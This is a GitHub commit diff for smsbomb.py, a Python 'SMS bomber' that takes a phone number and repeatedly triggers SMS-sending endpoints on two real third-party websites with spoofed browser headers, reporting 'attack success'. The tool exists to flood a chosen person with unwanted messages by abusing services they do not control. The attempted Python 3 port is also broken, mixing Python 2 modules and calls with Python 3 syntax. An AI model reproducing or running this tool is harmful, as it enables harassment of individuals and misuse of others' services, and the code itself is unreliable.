Add files via upload

pull/4/head
InfoSec 2016-08-12 07:39:46 +08:00 committed by GitHub
parent 2784f0a934
commit 6dce3be923
1 changed files with 60 additions and 59 deletions

View File

@ -1,6 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
#-*- coding: utf-8 -*- #-*- coding: utf-8 -*-
#python2.7 #python3.5
#===================================================================================================== #=====================================================================================================
#smsbomb.py #smsbomb.py
#author: ym2011 #author: ym2011
@ -11,86 +11,87 @@
#the source code is honghu.py and operate.py #the source code is honghu.py and operate.py
#===================================================================================================== #=====================================================================================================
try: try:
import sys import sys
import os import os
import ssl
import urllib import urllib
import urllib2 import urllib2
import httplib import httplib
import re import re
import string import string
import cookielib from http import cookies
except: except ValueError:
print u ''' print (""""
运行出错: 运行出错:
以下的python 库尚未安装 以下的python 库尚未安装
该应用程序需要的库sys osurlliburllib2httplibrestring cookielib 该应用程序需要的库sys osurlliburllib2httplibrestring cookielib
请检查这些依赖库是否安装在您的操作系统上 请检查这些依赖库是否安装在您的操作系统上
提示安装这些库的格式为 提示安装这些库的格式为
apt-get install 库名字 apt-get install 库名字
例如: apt-get install httplib2 例如: apt-get install httplib2
或者使用以下方式 或者使用以下方式
easy_install httplib2 easy_install httplib2
"""")
''' sys.exit()
sys.exit(1)
def oupeng(phone):
datas="" def oupeng(phone: object) -> object:
url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone datas=""
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5", url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone
"Accept": "text/plain",'Referer':'http://www.oupeng.com/download'} i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
#payload=urllib.urlencode(payload) "Accept": "text/plain",'Referer':'http://www.oupeng.com/download'}
#payload=urllib.urlencode(payload)
try: try:
request=urllib2.Request(url=url,headers=i_headers) request=urllib2.Request(url=url,headers=i_headers)
response=urllib2.urlopen(request) response=urllib2.urlopen(request)
datas=response.read() datas=response.read()
print datas print (datas)
print 'attack success!!!' print ('attack success!!!')
except Exception, e: except Exception as e:
print e print (e)
print "attack failed!!!" print("attack failed!!!")
def hongxiu(phone): def hongxiu(phone):
datas="" datas=""
url='http://topic.hongxiu.com/wap/action.aspx' url='http://topic.hongxiu.com/wap/action.aspx'
#请求的数据 #请求的数据
payload={'hidtpye':'1', payload={'hidtpye':'1',
'txtMobile':phone} 'txtMobile':phone}
#注意Referer不能为空 #注意Referer不能为空
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5", i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'} "Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'}
payload=urllib.urlencode(payload) payload=urllib.urlencode(payload)
try: try:
request=urllib2.Request(url,payload,i_headers) request=urllib2.Request(url,payload,i_headers)
response=urllib2.urlopen(request) response=urllib2.urlopen(request)
datas=response.read() datas=response.read()
print datas print (datas)
print 'attack success!!!' print ('attack success!!!')
except Exception, e: except Exception:
print e print (Exception)
print "attack failed!!!" print ("attack failed!!!")
if __name__=="__main__": if __name__=="__main__":
phone=raw_input('input the phone:') phone=raw_input('input the phone:')
oupeng(phone) oupeng(phone)
hongxiu(phone) hongxiu(phone)